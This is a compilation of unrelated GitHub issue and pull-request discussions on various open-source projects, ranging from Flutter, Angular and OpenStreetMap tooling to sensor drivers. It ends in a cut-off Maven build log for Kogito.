I agree with Stephen here. I see this more as an example. I mean even the issue title says "Example". I wouldn't even know how to get started implementing some "useful" SDK component here because that script would be like 3 lines of code in its simplest variant.
I do agree with Simon that a proper example for how to use the base scene setup would help newcomers.

OK, fair enough.  I can see value in this just being a working "demo" for proper use of the scene management utils within an XRTK environment. So long as the example covers a few good cases like Canvases, cameras and what not, the fun complexities of additive scene loading.
Not everything, just those things we've experienced as part of XRTK apps

OK, fair enough.  I can see value in this just being a working "demo" for proper use of the scene management utils within an XRTK environment. So long as the example covers a few good cases like Canvases, cameras and what not, the fun complexities of additive scene loading.
Not everything, just those things we've experienced as part of XRTK apps


feature: skip lazy loaded modules from compiling on every save

OS?
all
Versions.
all
feature:
I would love to be able to break down my application to lazy loaded modules and have the cli (webpack) skip modules which are lazy loaded (separate bundles)  and thus there is no need to re-compile them on every save while in development mode.
Angular 2 Kitchen sink: http://ng2.javascriptninja.io
and source@ https://github.com/born2net/Angular-kitchen-sink
Regards,
Sean

We already do that (breaking down on lazy routes). Webpack should be smart enough to know when a bundle has changed or not.

ok good to know, I asked on Gitter and people didn't know
I will inform them
tx!


Fix collection bug

Do we need to do anything to the data when updating?

No, should be backward compatible


Add error message for tor urls

Some people keep trying this and borking their wallet. This will give them an error for tor support

This might break some of the start9 stuff, need to verify


osmosis future in openstreetmap

I had some problems with osmosis schema not matching the websites one and found this issue https://github.com/openstreetmap/openstreetmap-website/issues/2449.
It looks like osmosis is phased out, and being replaced by other tool for replication creation in the global osm stack.
It will create a problem in the long run to depend on osmosis for loading pbf files and creating replications, if we want to keep up to date with the api.

any updates?

The new tool for replication (https://github.com/openstreetmap/osmdbt) has been enabled on the production deployment of openstreetmap. We still got a problem with all the other features of osmosis.


DBAAS-21/24/25: allow DBaaSConn to bind to apps

Description
DBAAS-21: DBaaSConnection CRD
DBAAS-24: DBaaSConnection creates owned deployment
DBAAS-25: binding annotations for DBaaSConnection
I've done some refactoring to pull resource details into a models package in addition to having our DBaaSConnection create a bindable deployment with a sample configmap/secret for connection info that can be injected into a busybox app for verification.
Verification Steps
Will fill this in Monday so it can be verified by others
Type of change

[X] New feature (non-breaking change which adds functionality)

Checklist (Definition of Done)

[X] All acceptance criteria specified in JIRA or in issue number have been completed
[ ] Unit tests added that prove the fix is effective or the feature works
[ ] Documentation added for the feature
[ ] all relevant tests are passing
[ ] Code Review completed
[ ] Verified independently by reviewer

Merging up so we can get started on actual field values coming back from Atlas. ATM, this breaks the binding over spec/provider due to the new annotation, but I'll have code up today/tomorrow to fix this and get legitimate values into our binding annotation targets rather than mock data.


0.8.x support

Can you please update this module with Foundry 0.8.x support?

Fixed module.json stating wrong version


FEAT: New tools added

resolves issue #12
Added new tools: Fonts and Typography Tools and  Great Colors Tools
If it requires some changes, ping me.

This sounds great but can you attach screenshots of how your changes are being reflected on the website?
Thanks

Here you go, I have added these sections at bottom of at present section with proper Attributes

Great work, Thank you for contributing : )


Rewrite gomigrate test using testcontainer

closes #347

Why do we need to test migration when migration is a requirement for all other tests?

Hmm.. Interesting question. It tests migration.Up() and migration.Down() commands that we have. For that reason I think we should keep this test.


Known TLD list is not complete

I'm afraid this is not complete list. https://publicsuffix.org/list/public_suffix_list.dat
For example .co.ee is not mentioned. Eg continental.co.ee
Could we add a function to import extra tlds specified as array. Like tldts.addCustomSuffixes(["co.ee"])
Thanks!

Hi @romettm,
At the moment there is no API that allows tldts to accept extra suffixes at runtime, so one way would be to update https://publicsuffix.org/list/public_suffix_list.dat with the missing domains.
We could expose a new option for that, but the performance would probably suffer since the internal data-structure are created at bundling time and cannot easily be updated at runtime.
Best,


minimal refapp support for reacting to accessibility information

This issue is to track minimal reference app support for reacting to service lists and content guide metadata that include accessibility signalling as described in https://github.com/DVBProject/DVB-I-Reference-Client/issues/93.
@paulhiggs @juhajoki
The most limited support I can see is to focus on just showing a text representation of the accessibility information. For example;

The now-next display (below) could print a text representation of the accessibility information for that service in the row below the "next" information.

The EPG could have some icons for the accessibility information for each programme after the name of each programme and (in the title row) for the service after the name of the service.

When the user selects a programme, the EPG could print the full text form of what was shown in iconic form as mentioned in 2, in a row below the keywords row.

@andreastai do you have any comments?

@jpiesing Thanks for this contribution.
I agree that the minimal requirement would be to display text information that indicate the presence of the different accessibility services.
I would welcome an extension, where also the instance selection is driven by what is signaled in the service lists and what the user activated in his accessibility user preferences. One example:
Given the following context:

audio description is available for a DASH service instance
audio description is  not available for DVB-T/C/S
the user wants always audio description for a program

The reference client would pick the DASH service instance as default.

@jpiesing wrote

The EPG could have some icons for the accessibility information for each programme after the name of each programme and (in the title row) for the service after the name of the service.

It would be good to include not only AD or subtitles but also services/icons for Dialogue Enhancment, Signing and Spoken Subtitles. DVB-I improves the flexibility to provide these services and put it in context with the porgram information.

Since this is only a reference app and not a commercial prototype, having the codebase and UI presentation of the decoded service or program signaling would be useful. This does not need to be optimised, and the channel change banner can be made bigger to present the information.

Please open another issue for this, otherwise this information is 'lost' when the basic presentation of AA information is developed.

@paulhiggs Comment transferred to #96

See issue #93. PR submitted to include Accessibility Attribute information in the Channel Info bar and the Detailed Program Info page.

Presentation of the signalled accessibility atributes is included for the service list and content guide metadata, see PR #97
Additional future work could make the presentation more 'graphic'


Collect logs from multiple containers in the same pod

Enhancement Proposal
There's no straightforward way to set up the loki LogProxyConsumer to work with multiple containers in the same charm. Instantiating it more than once is not supported either:
RuntimeError: two objects claiming to be IndicoOperatorCharm/LogProxyConsumer[log-proxy] have been created
It is my understanding that this is a very common use case and it should be supported.

This is something we need to support. Maybe not in the GA, but at least in a point release soon thereafter. I envision that we'll keep the single instantiation and add a way for authors to pass multiple containers with multiple, different, log configs.


Heron server should be able to reject too large packets

Heron server should be able to reject too large packets to avoid OOM when parsing the packets. It could improve the stability of heron server.
It is also a requirement from Twitter internally.

#1475

#1481

closed via https://github.com/twitter/heron/pull/1481


How to set chrome profile on selenoid?

I want to set a chrome profile for my session that are running in my vps on digitalocean, I didn't found anything help full in google, so I am asking this here.
please can anyone help me with that

@u9O what exactly do you want to change in profile: e.g. install an extension, change Chrome preferences and so on?

I want to use a VPN extension, I know how to install it in the chrome driver browser, but the problem is I need to configur the extension like clicking a button in the extension to make VPN connecting to the server.
I tried to create a chrome profile and configur the extension there after that, set that profile to the to the chrome driver.
basicly what I want is to click the connect button in extension in chrome browser to connect to the VPN.
@vania-pooh

@u9O how about using code like this? https://stackoverflow.com/questions/37137951/loading-crx-into-remote-chrome-selenium-python


Port is unreachable? I dont understand

Does this occur consistently?
Repro steps:

Action: appService.StartRemoteDebug
Error type: Error
Error Message: Unable to establish connection to application: App is started, but port is unreachable
Version: 0.16.2
OS: win32
OS Release: 10.0.18362
Product: Visual Studio Code
Product Version: 1.42.1
Language: en

Call Stack
TunnelProxy.<anonymous> extension.bundle.js:157:323205
a extension.bundle.js:157:318903

Duplicate of https://github.com/microsoft/vscode-azureappservice/issues/1011


Add SCD-30 NDIR CO2 i2c sensor

Adding Adafruit SCD-30 - NDIR CO2 Temperature and Humidity Sensor, looks like i2c driver is already created for this one?

@ckostovny There is an I2C driver (https://github.com/adafruit/Adafruit_Wippersnapper_Arduino/blob/main/src/components/i2c/drivers/WipperSnapper_I2C_Driver_SCD30.h), but it's untested.
Are you interested in taking a look at the driver as well?

@ckostovny There is an I2C driver (https://github.com/adafruit/Adafruit_Wippersnapper_Arduino/blob/main/src/components/i2c/drivers/WipperSnapper_I2C_Driver_SCD30.h), but it's untested.
Are you interested in taking a look at the driver as well?

I don't understand C, but I do have an SCD30 I could test with.

Ok, let's see if it'll "just work". I can always fix up the driver if you experience bugs. Could you report the result on this issue (I'll leave it open)?

Should be live now :)

Looks like its working, I see data in the stream:
2022/04/14 1:29PMAdafruit ESP32-S2 FeatherSCD30: Temperature 27.445066452026367
2022/04/14 1:29PMAdafruit ESP32-S2 FeatherSCD30: Relative Humidity 35.95929718017578
2022/04/14 1:29PMAdafruit ESP32-S2 FeatherSCD30: CO2<PHONE_NUMBER>976562
2022/04/14 1:34PMAdafruit ESP32-S2 FeatherSCD30: Temperature 25.585973739624023
2022/04/14 1:34PMAdafruit ESP32-S2 FeatherSCD30: Relative Humidity 39.836612701416016
2022/04/14 1:34PMAdafruit ESP32-S2 FeatherSCD30: CO2<PHONE_NUMBER>03125
thanks @brentru!

Cool! I'll close out the issue


Learning Objectives

Bringing this over from the old principles repo:
Before writing any content, learning architects recommended first defining your learning objectives in the language of the blooms taxonomy, see: https://github.com/Green-Software-Foundation/principles/blob/main/blooms-taxonomy.pdf
Your learning objectives should be framed as a question, so instead of "Understand Green Software Engineering" it would be framed as "What is the definition of Green Software Engineering?"
Blooms taxonomy also categorises a set of questions to the level of thinking required to answer them, from low "can you list" style questions to higher thinking required questions "how would you improve" style questions. Learning objectives should have a mixture of multiple styles.
By structuring learning objectives this way we can easily create a quiz to test peoples knowledge. Also it gives a lot more information to the content authors regarding the exact requirements of their training. Their training has to be complete enough for someone to be able to answer those questions.


Make it possible to remove routes

Changes proposed in this Pull Request:

Refactor authWorkflowRoutes object so that users can remove routes.
The route object used to be an array of Routes, but now it is a Map<string, Route>.

import { getAuthSubRoutes, AUTH_ROUTES } from '@pxblue/angular-auth-workflow';
const authWorkflowRoutes = getAuthSubRoutes();
authWorkflowRoutes.delete(AUTH_ROUTES.CONTACT_SUPPORT);

const routes: Routes = [
    { path: '', redirectTo: AUTH_ROUTES.AUTH_WORKFLOW, pathMatch: 'full' },
    { path: AUTH_ROUTES.AUTH_WORKFLOW, component: AuthComponent, children: Array.from(authWorkflowRoutes.values()) }
...
];

This is a breaking change since it changes the way routes are imported.   Not a huge issue since we already have a breaking change that is yet-to-be published.

@daileytj  @joebochill
Which one do you prefer to remove a route:
Option A (current & breaking)
authWorkflowRoutes.delete(AUTH_ROUTES.CONTACT_SUPPORT);
Option B (non-breaking)
import { authRouteUtils, ... } from '@pxblue/angular-auth-workflow'; authRouteUtils.removeContactSupport()`

@daileytj @joebochill
I want to remove a route, which one do you prefer?
Option A (current & breaking)
authWorkflowRoutes.delete(AUTH_ROUTES.CONTACT_SUPPORT);
Option B (non-breaking)
import { authRouteUtils, ... } from '@pxblue/angular-auth-workflow';
authRouteUtils.removeContactSupportRoute()

I'm starting to lean towards option B, which would require a little refactor.

I would prefer that we delete it automatically (no extra step for end user) when they toggle the showContactSupport=false if that's possible.

This change breaks route name customization, oops. @joebochill  I'm going to explore a way to combine updating auth config + route pruning at the same time.

Ok @joebochill , the solution I came up with for disable routes based off of the PxbAuthConfig was to make a new auth-guard that is internally used to prevent navigation to disabled pages.  The user does not have to make any changes or even know about this new auth guard.
However...
This new auth guard reads from the PxbAuthConfig object to know which routes are disabled; the PxbAuthConfig object will now need to be configured before the initial navigation happens, meaning our auth config settings have been moved to the app.component.ts file.
It is not critical that our adopters configure this PxbAuthConfig object whenever the application starts up, otherwise they risk their settings not being immediately applied on app-load.

Sounds / looks reasonable to me. Do we want to update the readme to make the necessary changes more clear? Do we need to bump the package.json version and add a changelog entry?

I added a changelog and bumped the version up to 2.0.0.

should debug be part of this? I have it set to false but I'm still rendering it...

@jeffvg That's a good find; I think we should make it so that whenever debug is on, it'll be respectful of which pages are disabled.  Right now I think debug mode just shows everything.  I'll make an update.

Ok now even in debug mode, the pxbAuthConfig settings should be applied on the login screen.

@jeffvg That's a good find; I think we should make it so that whenever debug is on, it'll be respectful of which pages are disabled. Right now I think debug mode just shows everything. I'll make an update.

got the changes for this and debug pages are removed.  Is there a way we could also remove "hide" the debug button too?

got the changes for this and debug pages are removed. Is there a way we could also remove "hide" the debug button too?

Can you send me a picture of what you want removed?  I'm not sure I understand.

got the changes for this and debug pages are removed. Is there a way we could also remove "hide" the debug button too?

Can you send me a picture of what you want removed? I'm confused.

debug button on login

You can remove the debug button if you set pxbAuthConfig.allowDebugMode= false


[iOS] Migrate @UIApplicationMain attribute to @main

This migrates Flutter to use the @main attribute introduced in Swift 5.3. The @UIApplicationMain attribute is deprecated and will be removed in Swift 6. See: https://github.com/apple/swift-evolution/blob/main/proposals/0383-deprecate-uiapplicationmain-and-nsapplicationmain.md
This change is split into two commits:

https://github.com/flutter/flutter/pull/146707/commits/ad18797428ccbcfc14c6875118c44842b689ed6d - This updates the iOS app template and adds a migration to replace @UIApplicationMain uses with @main.
https://github.com/flutter/flutter/pull/146707/commits/8ecbb2f29f419ed50fdebfbdcc069f3653638cc5 - I ran flutter run on each Flutter iOS app in this repository to verify the app migrates and launches successfully.

Fixes https://github.com/flutter/flutter/issues/143044
Pre-launch Checklist

[x] I read the Contributor Guide and followed the process outlined there for submitting PRs.
[x] I read the Tree Hygiene wiki page, which explains my responsibilities.
[x] I read and followed the Flutter Style Guide, including Features we expect every widget to implement.
[x] I signed the CLA.
[x] I listed at least one issue that this PR fixes in the description above.
[x] I updated/added relevant documentation (doc comments with ///).
[x] I added new tests to check the change I am making, or this PR is test-exempt.
[x] I followed the breaking change policy and added Data Driven Fixes where supported.
[x] All existing and new tests are passing.

If you need help, consider asking for advice on the #hackers-new channel on Discord.

"Addresses https://github.com/flutter/flutter/issues/143044" if you make this "Fixes https://github.com/flutter/flutter/issues/143044" GitHub will link them and close the issue when this is merged.

"Addresses #143044" if you make this "Fixes #143044" GitHub will link them and close the issue when this is merged.

@loic-sharma Did you happen to check if NSApplicationMain (the macOS version of this) was also deprecated?
I'm not sure if we want to mark the issue as fixed since it refers to both the iOS and macOS version. If we want to handle them separately, can you file a separate issue to address the macOS one?

How do I trigger this migration for existing projects? Do I run a migration command? Or do I simply do flutter clean and then regenerate these files?

How do I trigger this migration for existing projects? Do I run a migration command? Or do I simply do flutter clean and then regenerate these files?

The migrations run when the app compiles, so every flutter run will do it.


[schedy] Unknown domain from AppDaemon

Using generic2 with this template:
  actor_templates:
    default:
      template: light

    light:
      # retries
      send_retries: 1
      # send_retry_interval: 30

      attributes:
        - attribute: brightness_pct
        - attribute: color_temp

      values:
        # off
        - value: [0, "*"]
          calls:
            - service: light.turn_off

        # on, ...
        - value: ["*", "*"]
          calls:
            - service: light.turn_on
              data:
                brightness_pct: "{attr1}"
                color_temp: "{attr2}"
                transition: "10"

and a sample schedule like this:
- x: '[85, 300] if float(state("sun.sun", "elevation")) > 15.0 else Next()'

I'm getting this errors:
INFO tradfri_led_temp: --- [R:Livingroom] Setting value to (85, 300).  [scheduled]
INFO tradfri_led_temp: <-- [R:Livingroom] [A:light.wohnzimmer] Setting value (85, 300) (left tries = 2, interval = 30).
INFO tradfri_led_temp: <-- [R:Livingroom] [A:light.wohnzimmer] Calling service 'light/turn_on', data = {'brightness_pct': 85, 'color_temp': 300, 'transition': 10, 'entity_id': 'light.wohnzimmer'}.
WARNING AppDaemon: Unknown domain (default/light) in call_service from tradfri_led_temp

Hi,
At first glance, Schedy seems to call the service correctly. Have you tried calling the service manually? Something like:
self.call_service("light/turn_on", entity_id="...", brightness=...)

You could create an app for testing and call the service in initialize. If that throws the same warning, the issue is AppDaemon-based.
Best regards
Robert

Seems to be an issue in Appdaemon 4.0.3, the docker tag "latest" wasn't updated: AppDaemon/appdaemon/issues/1026
Now with v4.0.5 it works again.
Thank you


Concept: Notification Model

As ... ,
I want ... ,
so that ... .
Hints / Details

Currently, the attributes of a notification needs to be refactored.

Acceptance Criteria

[ ] Domain Model for Notification updated (TOBE)
[ ] Domain Model for NotificationMessage updated (TOBE)
[ ] Story for implementation has been created

Out of Scope

Implementation

@ds-mwesener scope is not clear. Discussion needed.

Had a discussion with @ds-mwesener about the scope of this ticket.
Following changes to the data model are needed:

Remove unnecessary data fields
Make distinction between "notifications" and "messages" clear and remove/add fields to the correct object
Make error messages consistent (So they don't overwrite each other, whenever an error occurs)
Make status changes clear in the message object, so that the message history can be shown properly.

Not possible to test.
Ready for review.

PO acceptance in behalf of @jzbmw. Works as intended.

Implementation story: https://github.com/eclipse-tractusx/traceability-foss/issues/962


Duplicated reads id issue

Hi,
There is potential issue in SimulateCaptureCmd.java. The read name/id might be duplicated. It is easy to fix by appending the numGen variable at the end of the name like this:
seq.setName(ID + "_" + chrList.get(chrIndex).getName() + "_" + (chrPos + 1) + "_" +(chrPos + fragLength) + "_" + Long.toString(numGen));

great suggestions. I add in the fragment number


[2023-11-06T14:32:32.082Z] [INFO] Kogito :: Drools :: Kogito Decision Model Notation . SUCCESS [  5.173 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: jBPM ..................................... SUCCESS [  0.144 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Process :: WorkItems ..................... SUCCESS [  4.643 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: jBPM :: Flow ............................. SUCCESS [ 14.120 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: jBPM :: Flow Builder ..................... SUCCESS [ 37.567 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: jBPM :: BPMN2 ............................ SUCCESS [01:19 min][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Process :: Protobuf Serialization ........ SUCCESS [ 15.441 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Codegen Modules .......................... SUCCESS [  0.141 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Codegen API .............................. SUCCESS [  4.082 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Codegen Core Library ..................... SUCCESS [  6.185 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Workitems :: RestUtils ................... SUCCESS [  9.276 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Serverless Workflow ...................... SUCCESS [  0.131 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Serverless Workflow :: Utils ............. FAILURE [  2.108 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Serverless Workflow :: Expression :: Jsonpath SKIPPED[2023-11-06T14:32:32.082Z] [INFO] Kogito :: Serverless Workflow :: Expression :: JQ .. SKIPPED[2023-11-06T14:32:32.082Z] [INFO] Kogito :: Serverless Workflow :: Runtime ........... SKIPPED[2023-11-06T14:32:32.082Z] [INFO] Kogito :: Serverless Workflow :: Builder ........... SKIPPED[2023-11-06T14:32:32.082Z] [INFO] Kogito :: Grafana API .............................. SUCCESS [  5.861 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Codegen Processes ........................ SKIPPED[2023-11-06T14:32:32.082Z] [INFO] Kogito :: Test Utilities :: Common ................. SUCCESS [ 24.685 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Codegen Processes Integration Tests ...... SKIPPED[2023-11-06T14:32:32.082Z] [INFO] Kogito :: Quarkus :: Parent ........................ SUCCESS [  0.097 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Quarkus :: BOM ........................... SUCCESS [  0.303 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Quarkus Extensions :: Parent ............. SUCCESS [  0.046 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Quarkus Extension SPI .................... SKIPPED[2023-11-06T14:32:32.082Z] [INFO] Kogito :: Workitems :: RestWorkItem ................ SUCCESS [  7.360 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Quarkus Extension Common ................. SUCCESS [  0.342 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Quarkus Extension Common :: Runtime ...... SUCCESS [  5.091 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Quarkus Extension Common :: Deployment ... SUCCESS [  4.996 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Quarkus Workflow Extension Common ........ SUCCESS [  0.338 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Quarkus Workflow Extension Common :: Runtime SUCCESS [  0.568 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Quarkus Workflow Extension Common :: Deployment SKIPPED[2023-11-06T14:32:32.082Z] [INFO] Kogito :: Add-Ons .................................. SUCCESS [  0.078 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Add-Ons :: Common ........................ SUCCESS [  0.045 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Rest Exception Handler :: Common ......... SUCCESS [  4.095 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Add-Ons :: Quarkus ....................... SUCCESS [  3.690 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Rest Exception Handler :: Quarkus ........ SUCCESS [  6.272 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Add-Ons :: Messaging ..................... SUCCESS [  1.426 s][2023-11-06T14:32:32.082Z] [INFO] Kogito Add-On Quarkus Common - Parent .............. SUCCESS [  0.101 s][2023-11-06T14:32:32.082Z] [INFO] Kogito Add-On Common - Reactive Messaging .......... SUCCESS [  2.574 s][2023-11-06T14:32:32.082Z] [INFO] Kogito Add-On Messaging - Parent ................... SUCCESS [  0.035 s][2023-11-06T14:32:32.082Z] [INFO] Kogito Add-On Messaging - Common ................... SUCCESS [ 45.211 s][2023-11-06T14:32:32.082Z] [INFO] Kogito Add-On Messaging ............................ SUCCESS [  0.542 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Serverless Workflow :: gRPC :: Runtime ... SKIPPED[2023-11-06T14:32:32.082Z] [INFO] Kogito :: Serverless Workflow :: REST :: Runtime ... SKIPPED[2023-11-06T14:32:32.082Z] [INFO] Kogito :: Quarkus Serverless Workflow Extension .... SUCCESS [  0.932 s][2023-11-06T14:32:32.082Z] [INFO] Kogito :: Quarkus Serverless Workflow Extension :: Runtime SKIPPED[2023-11-06T14:32:32.082Z] [INFO] Kogito :: Serverless Workflow :: OpenAPI :: Common . SKIPPED[2023-11-06T14:32:32.082Z] [INFO] Kogito :: Serverless Workflow :: OpenAPI :: Generated SKIPPED[2023-11-06T14:32:32.082Z] [INFO] Kogito :: Serverless Workflow :: gRPC :: Parser .... SKIPPED[2023-11-06T14:32:32.082Z] [INFO] Kogito :: Serverless Workflow :: REST :: Parser .... SKIPPED[2023-11-06T14:32:32.082Z] [INFO] Kogito Add-On Common - Deployment .................. SUCCESS [  5.630 s][2023-11-06T14:32:32.082Z] [INFO] Kogito Add-On Messaging - Deployment ............... SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Quarkus Serverless Workflow Extension :: Deployment SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Add-Ons :: Persistence :: Parent ......... SUCCESS [  0.248 s][2023-11-06T14:32:32.083Z] [INFO] Kogito :: Add-Ons :: Persistence :: JDBC ........... SUCCESS [01:08 min][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Quarkus Persistence .................. SUCCESS [  0.035 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Persistence JDBC - Parent ............ SUCCESS [  0.274 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Persistence JDBC ..................... SUCCESS [  4.196 s][2023-11-06T14:32:32.083Z] [INFO] Kogito :: Add-Ons :: Quarkus :: Events ............. SUCCESS [  0.048 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Events Process - Parent .............. SUCCESS [  0.031 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Events Process ....................... SUCCESS [  0.743 s][2023-11-06T14:32:32.083Z] [INFO] Kogito :: Test Utilities :: Quarkus ................ SUCCESS [ 12.173 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Persistence JDBC - Deployment ........ SUCCESS [  0.475 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Events Process - Deployment .......... SUCCESS [  0.333 s][2023-11-06T14:32:32.083Z] [INFO] Kogito :: Quarkus Serverless Workflow Extension :: Integration Tests SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Quarkus Serverless Workflow Extension :: Image Integration Tests SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Quarkus Serverless Workflow Extension :: Live Reload Tests SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Quarkus Test List ........................ SUCCESS [  4.627 s][2023-11-06T14:32:32.083Z] [INFO] Kogito :: Add-Ons :: Process Management :: Common .. SUCCESS [  4.959 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Process Management - Parent .......... SUCCESS [  0.059 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Process Management ................... SUCCESS [  5.685 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Process Management - Deployment ...... SUCCESS [  1.225 s][2023-11-06T14:32:32.083Z] [INFO] Kogito:: Addons :: Quarkus:: Process Management :: Integration Test SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Add-Ons :: Source Files :: Common ........ SUCCESS [  3.090 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Source Files - Parent ................ SUCCESS [  0.050 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Source Files ......................... SUCCESS [ 45.036 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Source Files - Deployment ............ SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Add-Ons :: Knative :: Parent ............. SUCCESS [  0.271 s][2023-11-06T14:32:32.083Z] [INFO] Kogito :: Add-Ons :: Knative :: Eventing ........... SUCCESS [  2.037 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Knative - Parent ..................... SUCCESS [  0.055 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Knative Eventing - Parent ............ SUCCESS [  0.085 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Knative Eventing ..................... SUCCESS [  3.392 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Knative Eventing - Deployment ........ SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Knative Eventing - Integration Tests . SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Add-Ons :: Kubernetes Service Catalog .... SUCCESS [  9.047 s][2023-11-06T14:32:32.083Z] [INFO] Kogito :: Add-Ons :: Kubernetes .................... SUCCESS [ 21.369 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Fabric8 Kubernetes Service Catalog - Parent SUCCESS [  0.041 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Fabric8 Kubernetes Service Catalog Tests Utils SUCCESS [ 17.783 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Fabric8 Kubernetes Service Catalog ... SUCCESS [ 47.110 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Kubernetes - Parent .................. SUCCESS [  0.036 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Kubernetes ........................... SUCCESS [ 16.864 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Kubernetes - Deployment .............. SUCCESS [  9.927 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Knative Serving - Parent ............. SUCCESS [  0.040 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Knative Serving ...................... SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Knative Serving - Deployment ......... SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Fabric8 Kubernetes Service Catalog - Deployment SUCCESS [  0.095 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Knative Serving - Integration Tests .. SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Kubernetes - Integration Tests ....... SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Add-Ons :: Quarkus :: Camel :: Parent .... SUCCESS [  0.064 s][2023-11-06T14:32:32.083Z] [INFO] Kogito :: Add-Ons :: Quarkus :: Camel :: Runtimes .. SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Add-Ons :: Quarkus :: Camel :: Deployment  SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Add-Ons :: Quarkus :: Camel :: Integration Tests SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On MicroProfile Config Service Catalog - Parent SUCCESS [  0.060 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On MicroProfile Config Service Catalog .. SUCCESS [ 18.829 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On MicroProfile Config Service Catalog - Deployment SUCCESS [  0.047 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-On Microprofile Config Service Catalog - Integration Tests SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Add-Ons :: Jobs .......................... SUCCESS [  0.293 s][2023-11-06T14:32:32.083Z] [INFO] Kogito :: Add-Ons :: Jobs :: API ................... SUCCESS [  6.427 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-Ons Quarkus Jobs Parent ................. SUCCESS [  0.048 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-Ons Quarkus Jobs Common - Parent ........ SUCCESS [  0.066 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-Ons Quarkus Jobs Common - Messaging ..... SUCCESS [ 24.615 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-Ons Quarkus - Rest Callback ............. SUCCESS [ 19.486 s][2023-11-06T14:32:32.083Z] [INFO] Kogito :: Add-Ons :: Jobs :: Management Common ..... SUCCESS [  2.121 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-Ons Quarkus Jobs Management - Parent .... SUCCESS [  0.039 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-Ons Quarkus Jobs - Management ........... SUCCESS [  9.203 s][2023-11-06T14:32:32.083Z] [INFO] Kogito Add-Ons Quarkus Jobs Management - Deployment  SUCCESS [  4.296 s][2023-11-06T14:32:32.083Z] [INFO] Kogito :: Serverless Workflow :: Python:: Runtime .. SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito:: Addons :: Quarkus:: Serverless Workflow:: Python:: Parent SUCCESS [  0.073 